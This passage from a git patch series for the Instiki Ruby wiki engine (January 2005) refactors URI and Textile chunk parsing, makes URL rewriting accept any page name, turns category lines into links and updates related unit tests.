    ", @page.revisions.last.display_diff + end + + + def assert_markup_parsed_as(expected_output, input) + revision = Revision.new(@page, 1, input, Time.local(2004, 4, 4, 16, 50), 'AnAuthor') + assert_equal expected_output, revision.display_content, 'Textile output not as expected' end end From 2c637539be409f0b57d9d99f98b764b22b706edc Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 18 Jan 2005 23:38:36 +0000 Subject: [PATCH 050/529] paths in Instiki errors will look a bit less funny --- config/environment.rb | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/config/environment.rb b/config/environment.rb index 6e038c7a..30238d9b 100644 --- a/config/environment.rb +++ b/config/environment.rb @@ -3,16 +3,16 @@ if RUBY_VERSION < '1.8.1' exit end -RAILS_ROOT = File.dirname(__FILE__) + '/../' unless defined? RAILS_ROOT +RAILS_ROOT = File.expand_path(File.dirname(__FILE__) + '/../') unless defined? RAILS_ROOT RAILS_ENV = ENV['RAILS_ENV'] || 'production' unless defined? RAILS_ENV unless defined? ADDITIONAL_LOAD_PATHS # Mocks first. ADDITIONAL_LOAD_PATHS = ["#{RAILS_ROOT}/test/mocks/#{RAILS_ENV}"] - + # Then model subdirectories. ADDITIONAL_LOAD_PATHS.concat(Dir["#{RAILS_ROOT}/app/models/[_a-z]*"]) - + # Followed by the standard includes. ADDITIONAL_LOAD_PATHS.concat %w( app @@ -22,7 +22,7 @@ unless defined? ADDITIONAL_LOAD_PATHS config libraries ).map { |dir| "#{File.expand_path(File.join(RAILS_ROOT, dir))}" } - + # Third party vendors ADDITIONAL_LOAD_PATHS.concat %w( vendor/bluecloth-1.0.0/lib @@ -35,7 +35,7 @@ unless defined? ADDITIONAL_LOAD_PATHS ).map { |dir| "#{File.expand_path(File.join(RAILS_ROOT, dir))}" }.delete_if { |dir| not File.exist?(dir) } - + # Prepend to $LOAD_PATH ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) } end @@ -57,4 +57,3 @@ require 'wiki_service' Socket.do_not_reverse_lookup = true ActionController::Base.template_root ||= "#{RAILS_ROOT}/app/views/" - From 11794e6f4f51fda08b0f22a77b98170eade28273 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Wed, 19 Jan 2005 00:54:18 +0000 Subject: [PATCH 051/529] Fixed a test broken by lasy commit --- test/unit/wiki_service_test.rb | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/test/unit/wiki_service_test.rb b/test/unit/wiki_service_test.rb index c6a04e07..f1673caa 100755 --- a/test/unit/wiki_service_test.rb +++ b/test/unit/wiki_service_test.rb @@ -81,7 +81,7 @@ class WikiServiceTest < Test::Unit::TestCase def _assert_doesnt_change_state(including_log, method, *args) WikiService.snapshot - last_snapshot_before = File.read(Dir[RAILS_ROOT + 'storage/test/*.snapshot'].last) + last_snapshot_before = last_snapshot if block_given? yield @s @@ -94,9 +94,15 @@ class WikiServiceTest < Test::Unit::TestCase assert command_logs.empty?, "Calls to #{method} should not be logged" end - last_snapshot_after = File.read(Dir[RAILS_ROOT + 'storage/test/*.snapshot'].last) + last_snapshot_after = last_snapshot assert last_snapshot_before == last_snapshot_after, 'Calls to #{method} should not change the state of any persisted object' end + def last_snapshot + snapshots = Dir[RAILS_ROOT + '/storage/test/*.snapshot'] + assert !snapshots.empty?, "No snapshots found at #{RAILS_ROOT}/storage/test/" + File.read(snapshots.last) + end + end From d3b12631ddff44375606977ccdb36fdfa4927495 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Wed, 19 Jan 2005 10:56:46 +0000 Subject: [PATCH 052/529] pre-compile and cache URI regexp --- app/models/chunks/uri.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/app/models/chunks/uri.rb b/app/models/chunks/uri.rb index f5a914c2..9251a2fd 100755 --- a/app/models/chunks/uri.rb +++ b/app/models/chunks/uri.rb @@ -60,8 +60,10 @@ class URIChunk < Chunk::Abstract "(?:\\#(#{FRAGMENT}))?" # Optional #fragment (\7) end - def self.pattern() - Regexp.new(URI_PATTERN, Regexp::EXTENDED, 'N') + URI_PATTERN_REGEXP = Regexp.new(URI_PATTERN, Regexp::EXTENDED, 'N') + + def self.pattern + URI_PATTERN_REGEXP end attr_reader :uri, :scheme, :user, :host, :port, :path, :query, :fragment, :link_text From dbfe531abb64870a6a2fe64ed6cc9be71c35ca03 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Wed, 19 Jan 2005 10:59:52 +0000 Subject: [PATCH 053/529] Extracted various computations in the constructor of UriChunk to local methods. --- app/models/chunks/uri.rb | 55 ++++++++++++++++++++++++++++------------ 1 file changed, 39 insertions(+), 16 deletions(-) diff --git a/app/models/chunks/uri.rb b/app/models/chunks/uri.rb index 9251a2fd..41aab06c 100755 --- a/app/models/chunks/uri.rb +++ b/app/models/chunks/uri.rb @@ -70,24 +70,21 @@ class URIChunk < Chunk::Abstract def initialize(match_data) super(match_data) - @scheme, @user, @host, @port, @path, @query, @fragment = match_data[1..-1] - # If there is no scheme, add an appropriate one, otherwise - # set the URI to the matched text. - @text_scheme = scheme - @uri = (scheme ? match_data[0] : nil ) - @scheme = scheme || ( user ? 'mailto' : 'http' ) - @delimiter = ( scheme == 'mailto' ? ':' : '://' ) - @uri ||= scheme + @delimiter + match_data[0] + @link_text = match_data[0] + + @original_scheme, @user, @host, @port, @path, @query, @fragment = match_data[1..-1] - # Build up the link text. Schemes are omitted unless explicitly given. - @link_text = '' - @link_text << "#{@scheme}#{@delimiter}" if @text_scheme - @link_text << "#{@user}@" if @user - @link_text << "#{@host}" if @host - @link_text << ":#{@port}" if @port - @link_text << "#{@path}" if @path - @link_text << "?#{@query}" if @query + # If the last character matched by URI pattern is in ! or ), this may be part of the markup, + # not a URL. We should handle it as such. It is possible to do it by a regexp, but + # much easier to do programmatically + + last_char = @link_text[-1..-1] + if last_char == ')' or last_char == '!' + @trailing_punctuation = last_char + @link_text.chop! + [@original_scheme, @user, @host, @port, @path, @query, @fragment].compact.last.chop! + end end # If the text should be escaped then don't keep this chunk. @@ -101,4 +98,30 @@ class URIChunk < Chunk::Abstract # If there is no hostname in the URI, do not render it # It's probably only contains the scheme, eg 'something:' def escaped_text() ( host.nil? ? @uri : nil ) end + + def scheme + @original_scheme or (@user ? 'mailto' : 'http') + end + + def scheme_delimiter + scheme == 'mailto' ? ':' : '://' + end + + def user_delimiter + '@' unless @user.nil? + end + + def port_delimiter + ':' unless @port.nil? + end + + def query_delimiter + '?' unless @query.nil? + end + + def uri + [scheme, scheme_delimiter, user, user_delimiter, host, port_delimiter, port, path, + query_delimiter, query].compact.join + end + end From 02930e20fe0e21e666941c1ce5eac0b690c91b18 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Wed, 19 Jan 2005 20:17:26 +0000 Subject: [PATCH 054/529] preparing UriChunk to a refactoring that will let chunks decide whether they want to match or not (not merely by specifying a regexp pattern) --- app/models/chunks/uri.rb | 24 +++++++++++++++++++++--- 1 file changed, 21 insertions(+), 3 deletions(-) diff --git a/app/models/chunks/uri.rb b/app/models/chunks/uri.rb index 41aab06c..57ba44f0 100755 --- a/app/models/chunks/uri.rb +++ b/app/models/chunks/uri.rb @@ -60,7 +60,9 @@ class URIChunk < Chunk::Abstract "(?:\\#(#{FRAGMENT}))?" # Optional #fragment (\7) end - URI_PATTERN_REGEXP = Regexp.new(URI_PATTERN, Regexp::EXTENDED, 'N') + TEXTILE_SYNTAX_PREFIX = '(!)?' + + URI_PATTERN_REGEXP = Regexp.new(TEXTILE_SYNTAX_PREFIX + URI_PATTERN, Regexp::EXTENDED, 'N') def self.pattern URI_PATTERN_REGEXP @@ -73,12 +75,28 @@ class URIChunk < Chunk::Abstract @link_text = match_data[0] - @original_scheme, @user, @host, @port, @path, @query, @fragment = match_data[1..-1] + @textile_syntax, @original_scheme, @user, @host, @port, @path, @query, @fragment = + match_data[1..-1] + + case @textile_syntax + when '":' + # skip URL - need to refactor apply_chunk! into the chunk class itself + when '!' + # if the last char is also an exclamation, it's Textile syntax for an image; skip it + if @link_text[-1..-1] == '!' + # skip URL + else + match_url + end + else + match_url + end + end + def match_url # If the last character matched by URI pattern is in ! or ), this may be part of the markup, # not a URL. We should handle it as such. It is possible to do it by a regexp, but # much easier to do programmatically - last_char = @link_text[-1..-1] if last_char == ')' or last_char == '!' @trailing_punctuation = last_char From e8b2a3c30a57173ee50f520bd69f1ea0c4402c05 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Wed, 19 Jan 2005 20:29:43 +0000 Subject: [PATCH 055/529] moved apply_to from WikiContent to Chunk, so tha UriChunk can override it and decide when it wants to match a URL and when it doesn't want to the in the way of Textile syntax --- app/models/chunks/chunk.rb | 37 ++++++++++++++++++++++++++++++++----- app/models/wiki_content.rb | 14 ++------------ 2 files changed, 34 insertions(+), 17 deletions(-) diff --git a/app/models/chunks/chunk.rb b/app/models/chunks/chunk.rb index 754b2653..59511814 100755 --- a/app/models/chunks/chunk.rb +++ b/app/models/chunks/chunk.rb @@ -11,10 +11,37 @@ module Chunk attr_reader :text def initialize(match_data) @text = match_data[0] end - def pre_mask() "chunk#{self.object_id}start " end - def post_mask() " chunk#{self.object_id}end" end - def mask(content) "chunk#{self.object_id}chunk" end - def revert(content) content.sub!( Regexp.new(mask(content)), text ) end - def unmask(content) self if revert(content) end + + # Find all the chunks of the given type in content + # Each time the pattern is matched, create a new + # chunk for it, and replace the occurance of the chunk + # in this content with its mask. + def self.apply_to(content) + content.gsub!( self.pattern ) do |match| + content.chunks << self.new($~) + content.chunks.last.mask(content) + end + end + + def pre_mask() + "chunk#{self.object_id}start " + end + + def post_mask() + " chunk#{self.object_id}end" + end + + def mask(content) + "chunk#{self.object_id}chunk" + end + + def revert(content) + content.sub!( Regexp.new(mask(content)), text ) + end + + def unmask(content) + self if revert(content) + end + end end diff --git a/app/models/wiki_content.rb b/app/models/wiki_content.rb index 846a28b5..a72d5ec9 100755 --- a/app/models/wiki_content.rb +++ b/app/models/wiki_content.rb @@ -49,7 +49,7 @@ class WikiContent < String :mode => [:display] } - attr_reader :web, :options, :rendered + attr_reader :web, :options, :rendered, :chunks # Create a new wiki content string from the given one. # The options are explained at the top of this file. @@ -86,20 +86,10 @@ class WikiContent < String # Render this content using the specified actions. def render!(chunk_types) @chunks = [] - chunk_types.each { |chunk_type| self.apply_type!(chunk_type) } + chunk_types.each { |chunk_type| chunk_type.apply_to(self) } @rendered = @chunks.map { |chunk| chunk.unmask(self) }.compact (@chunks - @rendered).each { |chunk| chunk.revert(self) } end - # Find all the chunks of the given type in this content - # Each time the type's pattern is matched, create a new - # chunk for it, and replace the occurance of the chunk - # in this content with its mask. - def apply_type!(chunk_type) - self.gsub!( chunk_type.pattern ) do |match| - @chunks << chunk_type.new($~) - @chunks.last.mask(self) - end - end end \ No newline at end of file From 8eb35d4021e2ea8c0b591faa394f13148ba3a77d Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Wed, 19 Jan 2005 21:09:08 +0000 Subject: [PATCH 056/529] [RESTORES BUILD] URI parsing is smart about Instiki images again --- app/models/chunks/uri.rb | 46 +++++++++++++++++++++----------------- test/unit/revision_test.rb | 7 ++---- 2 files changed, 28 insertions(+), 25 deletions(-) diff --git a/app/models/chunks/uri.rb b/app/models/chunks/uri.rb index 57ba44f0..c8f8a632 100755 --- a/app/models/chunks/uri.rb +++ b/app/models/chunks/uri.rb @@ -70,30 +70,36 @@ class URIChunk < Chunk::Abstract attr_reader :uri, :scheme, :user, :host, :port, :path, :query, :fragment, :link_text - def initialize(match_data) - super(match_data) - - @link_text = match_data[0] - - @textile_syntax, @original_scheme, @user, @host, @port, @path, @query, @fragment = - match_data[1..-1] - - case @textile_syntax - when '":' - # skip URL - need to refactor apply_chunk! into the chunk class itself - when '!' - # if the last char is also an exclamation, it's Textile syntax for an image; skip it - if @link_text[-1..-1] == '!' - # skip URL - else - match_url + def self.apply_to(content) + content.gsub!( self.pattern ) do |matched_text| + chunk = self.new($~) + if chunk.textile_url? or chunk.textile_image? + # do not substitute + matched_text + else + content.chunks << chunk + chunk.mask(content) end - else - match_url end end - def match_url + def initialize(match_data) + super(match_data) + @link_text = match_data[0] + @textile_prefix, @original_scheme, @user, @host, @port, @path, @query, @fragment = + match_data[1..-1] + treat_trailing_character + end + + def textile_url? + @textile_prefix == '":' + end + + def textile_image? + @textile_prefix == '!' and @trailing_punctuation == '!' + end + + def treat_trailing_character # If the last character matched by URI pattern is in ! or ), this may be part of the markup, # not a URL. We should handle it as such. It is possible to do it by a regexp, but # much easier to do programmatically diff --git a/test/unit/revision_test.rb b/test/unit/revision_test.rb index 2ce24f04..fe9a17c1 100755 --- a/test/unit/revision_test.rb +++ b/test/unit/revision_test.rb @@ -135,11 +135,8 @@ class RevisionTest < Test::Unit::TestCase def test_content_with_link_in_parentheses assert_markup_parsed_as( - '

    Instiki is a Wiki Clone' + - ' (What is a wiki?) that’s ' + - 'so easy to setup

    ', - 'Instiki is a "Wiki Clone":http://www.c2.com/cgi/wiki?WikiWikiClones ' + - '("What is a wiki?":http://wiki.org/wiki.cgi?WhatIsWiki) that\'s so easy to setup') + '

    (What is a wiki?)

    ', + '("What is a wiki?":http://wiki.org/wiki.cgi?WhatIsWiki)') end def test_content_with_image_link From 97857409a984a2a99348fcff75381b41143b1d4a Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 20 Jan 2005 00:05:23 +0000 Subject: [PATCH 057/529] Added -w to all shebangs [Florian Gross] --- instiki | 2 +- instiki.rb | 2 +- test/functional/wiki_controller_test.rb | 2 +- test/unit/diff_test.rb | 2 +- test/unit/page_test.rb | 2 +- test/unit/redcloth_for_tex_test.rb | 2 +- test/unit/revision_test.rb | 15 ++++++++++++++- test/unit/uri_test.rb | 2 +- test/unit/url_rewriting_hack_test.rb | 2 +- test/unit/web_test.rb | 2 +- test/unit/wiki_service_test.rb | 2 +- test/unit/wiki_words_test.rb | 2 +- 12 files changed, 25 insertions(+), 12 deletions(-) diff --git a/instiki b/instiki index 0d054884..c004932c 100755 --- a/instiki +++ b/instiki @@ -1,4 +1,4 @@ -#!/usr/bin/ruby +#!/usr/bin/ruby -w # Executable file for a gem # must be same as ./instiki.rb diff --git a/instiki.rb b/instiki.rb index 522e84d2..55960d02 100755 --- a/instiki.rb +++ b/instiki.rb @@ -1,3 +1,3 @@ -#!/usr/bin/ruby +#!/usr/bin/ruby -w load File.dirname(__FILE__) + "/script/server" diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 06d7555c..b477a0d1 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby +#!/bin/env ruby -w # Uncomment the line below to enable pdflatex tests; don't forget to comment them again # commiting to SVN diff --git a/test/unit/diff_test.rb b/test/unit/diff_test.rb index c79e387b..21e9d98f 100755 --- a/test/unit/diff_test.rb +++ b/test/unit/diff_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby +#!/bin/env ruby -w require File.dirname(__FILE__) + '/../test_helper' require 'diff' diff --git a/test/unit/page_test.rb b/test/unit/page_test.rb index fe1b513f..d61089d8 100755 --- a/test/unit/page_test.rb +++ b/test/unit/page_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby +#!/bin/env ruby -w require File.dirname(__FILE__) + '/../test_helper' require 'web' diff --git a/test/unit/redcloth_for_tex_test.rb b/test/unit/redcloth_for_tex_test.rb index e5a69eb1..d9237ed0 100755 --- a/test/unit/redcloth_for_tex_test.rb +++ b/test/unit/redcloth_for_tex_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby +#!/bin/env ruby -w require File.dirname(__FILE__) + '/../test_helper' require 'redcloth_for_tex' diff --git a/test/unit/revision_test.rb b/test/unit/revision_test.rb index fe9a17c1..251b00a0 100755 --- a/test/unit/revision_test.rb +++ b/test/unit/revision_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby +#!/bin/env ruby -w require File.dirname(__FILE__) + '/../test_helper' require 'web' @@ -210,6 +210,19 @@ class RevisionTest < Test::Unit::TestCase "today

    ", @page.revisions.last.display_diff end + def test_list_with_tildas + list_with_tildas = <<-EOL + * "a":~b + * c~ d + EOL + + assert_markup_parsed_as( + "
  • a
  • \n" + + "
  • c~ d
  • \n", + list_with_tildas) + end + + def assert_markup_parsed_as(expected_output, input) revision = Revision.new(@page, 1, input, Time.local(2004, 4, 4, 16, 50), 'AnAuthor') diff --git a/test/unit/uri_test.rb b/test/unit/uri_test.rb index 1b252fc9..f8c49f95 100755 --- a/test/unit/uri_test.rb +++ b/test/unit/uri_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby +#!/bin/env ruby -w require File.dirname(__FILE__) + '/../test_helper' require 'chunks/uri' diff --git a/test/unit/url_rewriting_hack_test.rb b/test/unit/url_rewriting_hack_test.rb index d29d34d9..7b018364 100755 --- a/test/unit/url_rewriting_hack_test.rb +++ b/test/unit/url_rewriting_hack_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby +#!/bin/env ruby -w require File.dirname(__FILE__) + '/../test_helper' require 'url_rewriting_hack' diff --git a/test/unit/web_test.rb b/test/unit/web_test.rb index 9de65c32..53acc5e3 100755 --- a/test/unit/web_test.rb +++ b/test/unit/web_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby +#!/bin/env ruby -w require File.dirname(__FILE__) + '/../test_helper' require 'wiki_service' diff --git a/test/unit/wiki_service_test.rb b/test/unit/wiki_service_test.rb index f1673caa..6246df97 100755 --- a/test/unit/wiki_service_test.rb +++ b/test/unit/wiki_service_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby +#!/bin/env ruby -w require File.dirname(__FILE__) + '/../test_helper' require 'wiki_service' diff --git a/test/unit/wiki_words_test.rb b/test/unit/wiki_words_test.rb index 2b2433d5..bde3eeac 100755 --- a/test/unit/wiki_words_test.rb +++ b/test/unit/wiki_words_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby +#!/bin/env ruby -w require File.dirname(__FILE__) + '/../test_helper' require 'wiki_words' From 12aa4365adbb6c4a2b567df9657678e1b6196d02 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 20 Jan 2005 00:21:29 +0000 Subject: [PATCH 058/529] Disabled a test that fails on RedCloth 2 --- test/unit/revision_test.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/test/unit/revision_test.rb b/test/unit/revision_test.rb index 251b00a0..3081fc89 100755 --- a/test/unit/revision_test.rb +++ b/test/unit/revision_test.rb @@ -210,12 +210,14 @@ class RevisionTest < Test::Unit::TestCase "today

    ", @page.revisions.last.display_diff end - def test_list_with_tildas + # TODO Remove the leading underscores from this test when upgrading to RedCloth 3.0.1; + # also add a test for the "Unhappy Face" problem (another interesting RedCloth bug) + def __test_list_with_tildas list_with_tildas = <<-EOL * "a":~b * c~ d EOL - + assert_markup_parsed_as( "
  • a
  • \n" + "
  • c~ d
  • \n", From 0d9d89ad3cfdcbdbdc78928471ad2f87264ff607 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 20 Jan 2005 01:00:47 +0000 Subject: [PATCH 059/529] URI rewriting should be very liberal towards page names --- libraries/url_rewriting_hack.rb | 15 ++++++++++++--- test/functional/wiki_controller_test.rb | 7 +++++-- test/unit/url_rewriting_hack_test.rb | 22 ++++++++++++++++++---- 3 files changed, 35 insertions(+), 9 deletions(-) diff --git a/libraries/url_rewriting_hack.rb b/libraries/url_rewriting_hack.rb index 72160cb7..2d8ffbc1 100755 --- a/libraries/url_rewriting_hack.rb +++ b/libraries/url_rewriting_hack.rb @@ -25,7 +25,8 @@ class DispatchServlet def self.parse_uri(path) ApplicationController.logger.debug "Parsing URI '#{path}'" - component = /([-_a-zA-Z0-9]+)/ + component = '([-_a-zA-Z0-9]+)' + page_name = '(.*)' case path.sub(%r{^/(?:fcgi|mruby|cgi)/}, "/") when '/wiki/' { :web => nil, :controller => 'wiki', :action => 'index' } @@ -33,13 +34,21 @@ class DispatchServlet { :web => nil, :controller => 'wiki', :action => $1 } when %r{^/#{component}/#{component}/?$} { :web => $1, :controller => 'wiki', :action => $2 } - when %r{^/#{component}/#{component}/#{component}/?$} - { :web => $1, :controller => 'wiki', :action => $2, :id => $3 } + when %r{^/#{component}/#{component}/(.*)/?$} + { :web => $1, :controller => 'wiki', :action => $2, :id => drop_trailing_slash($3) } else false end end + def self.drop_trailing_slash(line) + if line[-1] == ?/ + line.chop + else + line + end + end + end diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index b477a0d1..dd608c1b 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -472,6 +472,8 @@ class WikiControllerTest < Test::Unit::TestCase def test_rss_with_headlines setup_wiki_with_three_pages + @title_with_spaces = @wiki.write_page('wiki1', 'Title With Spaces', + 'About spaces', 1.hour.ago, Author.new('TreeHugger', '127.0.0.2')) @request.host = 'localhost' @request.port = 8080 @@ -480,7 +482,7 @@ class WikiControllerTest < Test::Unit::TestCase assert_success pages = r.template_objects['pages_by_revision'] - assert_equal [@home, @oak, @elephant], pages, + assert_equal [@home, @oak, @elephant, @title_with_spaces], pages, "Pages are not as expected: #{pages.map {|p| p.name}.inspect}" assert r.template_objects['hide_description'] @@ -489,7 +491,8 @@ class WikiControllerTest < Test::Unit::TestCase expected_page_links = ['http://localhost:8080/wiki1/show/HomePage', 'http://localhost:8080/wiki1/show/Oak', - 'http://localhost:8080/wiki1/show/Elephant'] + 'http://localhost:8080/wiki1/show/Elephant', + 'http://localhost:8080/wiki1/show/Title With Spaces'] assert_template_xpath_match '/rss/channel/link', 'http://localhost:8080/wiki1/show/HomePage' diff --git a/test/unit/url_rewriting_hack_test.rb b/test/unit/url_rewriting_hack_test.rb index 7b018364..008fd0d7 100755 --- a/test/unit/url_rewriting_hack_test.rb +++ b/test/unit/url_rewriting_hack_test.rb @@ -35,10 +35,25 @@ class UrlRewritingHackTest < Test::Unit::TestCase assert_equal false, DispatchServlet.parse_uri('') assert_equal false, DispatchServlet.parse_uri('//') - assert_equal false, DispatchServlet.parse_uri('/web/show/$HOME_PAGE') - assert_equal false, DispatchServlet.parse_uri('/web/show/HomePage/something_else') assert_equal false, DispatchServlet.parse_uri('web') - assert_equal false, DispatchServlet.parse_uri('/web/show/HomePage?arg1=value1&arg2=value2') + end + + def test_parse_uri_liberal_with_pagenames + + assert_equal({:controller => 'wiki', :web => 'web', :action => 'show', :id => '$HOME_PAGE'}, + DispatchServlet.parse_uri('/web/show/$HOME_PAGE')) + + assert_equal({:controller => 'wiki', :web => 'web', :action => 'show', + :id => 'HomePage/something_else'}, + DispatchServlet.parse_uri('/web/show/HomePage/something_else')) + + assert_equal({:controller => 'wiki', :web => 'web', :action => 'show', + :id => 'HomePage?arg1=value1&arg2=value2'}, + DispatchServlet.parse_uri('/web/show/HomePage?arg1=value1&arg2=value2')) + + assert_equal({:controller => 'wiki', :web => 'web', :action => 'show', + :id => 'Page+With+Spaces'}, + DispatchServlet.parse_uri('/web/show/Page+With+Spaces')) end def test_url_rewriting @@ -58,5 +73,4 @@ class UrlRewritingHackTest < Test::Unit::TestCase ur.rewrite(:controller => 'wiki') end - end \ No newline at end of file From dfde41e63e09562fde4ad2b8f959c2cb32b78b3f Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 20 Jan 2005 13:32:37 +0000 Subject: [PATCH 060/529] tweaked unmasking (no need to create and compile regexps all the time when sub(string, string) is enough --- app/models/chunks/nowiki.rb | 2 +- app/models/chunks/uri.rb | 2 +- app/models/chunks/wiki.rb | 4 +++- 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/app/models/chunks/nowiki.rb b/app/models/chunks/nowiki.rb index 99eeb8bf..664beb70 100755 --- a/app/models/chunks/nowiki.rb +++ b/app/models/chunks/nowiki.rb @@ -27,5 +27,5 @@ class NoWiki < Chunk::Abstract # The nowiki content is not unmasked. This means the chunk will be reverted # using the plain text. def unmask(content) nil end - def revert(content) content.sub!( Regexp.new(mask(content)), plain_text ) end + def revert(content) content.sub!(mask(content), plain_text) end end diff --git a/app/models/chunks/uri.rb b/app/models/chunks/uri.rb index c8f8a632..8f131e61 100755 --- a/app/models/chunks/uri.rb +++ b/app/models/chunks/uri.rb @@ -116,7 +116,7 @@ class URIChunk < Chunk::Abstract # content. def unmask(content) return nil if escaped_text - return self if content.sub!( Regexp.new(mask(content)), "#{link_text}" ) + return self if content.sub!(mask(content), "#{link_text}") end # If there is no hostname in the URI, do not render it diff --git a/app/models/chunks/wiki.rb b/app/models/chunks/wiki.rb index bb83c219..82042acd 100755 --- a/app/models/chunks/wiki.rb +++ b/app/models/chunks/wiki.rb @@ -64,7 +64,9 @@ module WikiChunk class Link < WikiLink def self.pattern() /\[\[([^\]]+)\]\]/ end - ALIASED_LINK_PATTERN = Regexp.new('^(.*)?\|(.*)$', 0, "utf-8") unless defined? ALIASED_LINK_PATTERN + unless defined? ALIASED_LINK_PATTERN + ALIASED_LINK_PATTERN = Regexp.new('^(.*)?\|(.*)$', 0, 'utf-8') + end attr_reader :page_name, :link_text From dc6c45542654f11e28d12524fd907fa4c4555751 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 20 Jan 2005 13:34:15 +0000 Subject: [PATCH 061/529] instead of parsing category line by markup engine etc, convert it to /list/?category=XYZ hyperlinks --- app/models/chunks/category.rb | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/app/models/chunks/category.rb b/app/models/chunks/category.rb index 7165a26f..95010d03 100755 --- a/app/models/chunks/category.rb +++ b/app/models/chunks/category.rb @@ -18,14 +18,18 @@ class Category < Chunk::Abstract @list = match_data[2].split(',').map { |c| c.strip } end - # Mark this chunk's start and end points but allow the terms - # after the ':' to be marked up. - def mask(content) pre_mask + list.join(', ') + post_mask end - # If the chunk is hidden, erase the mask and return this chunk # otherwise, surround it with a 'div' block. def unmask(content) - replacement = ( hidden ? '' : '
    category:\1
    ' ) - self if content.sub!( Regexp.new( pre_mask+'(.*)?'+post_mask ), replacement ) + return '' if hidden + + category_urls = @list.map{|category| url(category) }.join(', ') + replacement = '
    category: ' + category_urls + '
    ' + self if content.sub!(mask(content), replacement) + end + + # TODO move presentation of page metadata to controller/view + def url(category) + %{#{category}} end end From 7a5aa277bb6ce1d4efb5f12232bfb701a3c5885c Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 20 Jan 2005 13:35:46 +0000 Subject: [PATCH 062/529] Corrected a reference to non-existent web method in list.rhtml --- app/views/wiki/list.rhtml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/views/wiki/list.rhtml b/app/views/wiki/list.rhtml index 471a3508..ece95788 100755 --- a/app/views/wiki/list.rhtml +++ b/app/views/wiki/list.rhtml @@ -38,7 +38,7 @@
  • <%= truncate(WikiWords.separate(page_name), 35) %> wanted by - <%= web.select.pages_that_reference(page_name).collect { |page| page.link }.join(", ") %> + <%= @web.select.pages_that_reference(page_name).collect { |page| page.link }.join(", ") %>
  • <% end %> From b74244ee3f66830e9b17d3b4048d4a706fe4e884 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 20 Jan 2005 13:39:12 +0000 Subject: [PATCH 063/529] documented the change in categories behavior in CHANGELOG --- CHANGELOG | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG b/CHANGELOG index ee6a6125..cc7d000b 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -12,6 +12,7 @@ HEAD: Instiki can bind to IPs other than 127.0.0.1 (command-line option) Revisions that do not change anything on the page are rejected Automated tests for all controller actions + category: lines are presented as links to "All Pages" for relevant categories Various usability enhancements * 0.9.2: From dce2af06aa24be5ce4eb72511e6b51b531888b7e Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 20 Jan 2005 21:34:27 +0000 Subject: [PATCH 064/529] Autolink URLs like http://localhost:8000 (anything that has a schema like http:// and looks like a URL), in addition to internet URLs. --- app/models/chunks/uri.rb | 48 ++++++++++++++++++++++++++++++-------- app/models/wiki_content.rb | 4 +++- test/test_helper.rb | 47 +++++++++++++++++-------------------- test/unit/uri_test.rb | 34 +++++++++++++++++++++++---- 4 files changed, 91 insertions(+), 42 deletions(-) diff --git a/app/models/chunks/uri.rb b/app/models/chunks/uri.rb index 8f131e61..5b90bebb 100755 --- a/app/models/chunks/uri.rb +++ b/app/models/chunks/uri.rb @@ -19,8 +19,7 @@ class URIChunk < Chunk::Abstract include URI::REGEXP::PATTERN # this condition is to get rid of pesky warnings in tests - unless defined? URI_CHUNK_CONSTANTS_DEFINED - URI_CHUNK_CONSTANTS_DEFINED = true + unless defined? URIChunk::INTERNET_URI_REGEXP GENERIC = '(?:aero|biz|com|coop|edu|gov|info|int|mil|museum|name|net|org)' COUNTRY = '(?:au|at|be|ca|ch|de|dk|fr|hk|in|ir|it|jp|nl|no|pt|ru|se|sw|tv|tw|uk|us)' @@ -45,27 +44,28 @@ class URIChunk < Chunk::Abstract FRAGMENT = "#{URIC_NO_ENDING}*" # DOMLABEL is defined in the ruby uri library, TLDS is defined above - FULL_HOSTNAME = "(?:#{DOMLABEL}\\.)+#{TLDS}" + INTERNET_HOSTNAME = "(?:#{DOMLABEL}\\.)+#{TLDS}" # Correct a typo bug in ruby 1.8.x lib/uri/common.rb PORT = '\\d*' - URI_PATTERN = + INTERNET_URI = 